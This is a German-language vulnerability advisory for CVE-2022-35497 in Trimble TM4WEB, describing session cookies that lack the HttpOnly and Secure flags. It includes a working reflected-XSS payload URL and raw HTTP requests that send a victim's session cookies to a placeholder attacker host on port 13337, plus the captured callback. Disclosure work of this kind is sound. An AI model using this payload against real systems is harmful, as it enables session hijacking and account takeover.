
TM4WEB-Schwachstelle - CVE-2022-35497
In Trimble's TM4WEB <=22.2.0 ist es aufgrund einer Sicherheitsfehlkonfiguration mit Sitzungs-Identifikatoren möglich, gültige Sitzungscookies durch reflektiertes Cross-Site-Scripting (XSS) wiederherzustellen, das den externen Dokumentenbetrachter-Endpunkt betrifft.
Insbesondere verwenden die drei Cookies, die zur Aufrechterhaltung von Sitzungen verwendet werden, UID, rstring und PHPSESSIONID; keines davon hat das entsprechende HttpOnly-Flag, um eine Wiederherstellung über JavaScript-Ausführungsvektoren zu verhindern.
Schritt 1 :
Der Angreifer nutzt die reflektierte Cross-Site-Scripting-Schwachstelle CVE-2022-35499 aus, um Sitzungscookies eines authentifizierten Opfers zu erhalten.
Der Angreifer startet einen Listener auf einem beliebigen Port eines über das Internet erreichbaren Servers, der HTTP-Anfragen empfangen kann. Dies kann mit einem Dienst wie requestbin oder einfach durch Starten eines Netcat-Listeners auf einem beliebigen Port erreicht werden.
Die Beispiel-URL nutzt das referenzierte XSS CVE-2022-35499, um einen Session-Hijacking-Angriff auf einen authentifizierten Benutzer durchzuführen und sendet die Sitzungscookies des Opfers an einen vom Angreifer kontrollierten Server (dargestellt durch x.x.x.x anstelle unserer IP-Adresse im Beispiel) auf Port 13337.
Beispiel einer bösartigen URL unter Verwendung einer nicht existierenden Site:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
Diese Schwachstelle ist nur möglich, weil die Sitzungsidentifikatoren nicht ausreichend gegen diese Art von Angriff geschützt sind.
Die drei zur Aufrechterhaltung von Sitzungen verwendeten Cookies sind :
UID
rstring
PHPSESSIONID
Keines dieser Cookies ist mit dem HttpOnly-Flag konfiguriert. Diese Konfigurationsoption würde verhindern, dass die Cookie-Werte aus einem JavaScript-Kontext zugänglich sind.
Ebenso sollten diese Cookies auch das SECURE-Flag aktiviert haben, das verhindert, dass sie über einen unverschlüsselten Kanal übertragen werden.
Die bösartige GET-Anfrage, die zur Durchführung des Angriffs verwendet wird, ist unten dargestellt, wobei die IP des Angreifer-Servers ausgelassen und durch x.x.x.x ersetzt wurde.
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
Die resultierende Rückruf-Anfrage, die der Angreifer auf seinem Server erhält, ist unten dargestellt und zeigt die Sitzungscookies des Opfers, die an den ?c-Parameter angehängt sind.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
AUSWIRKUNG : Authentifizierte Benutzer können ihre Sitzung und Benutzerkonten kapern lassen, indem Angreifer die reflektierte XSS-Schwachstelle von einer nicht authentifizierten Position aus nutzen.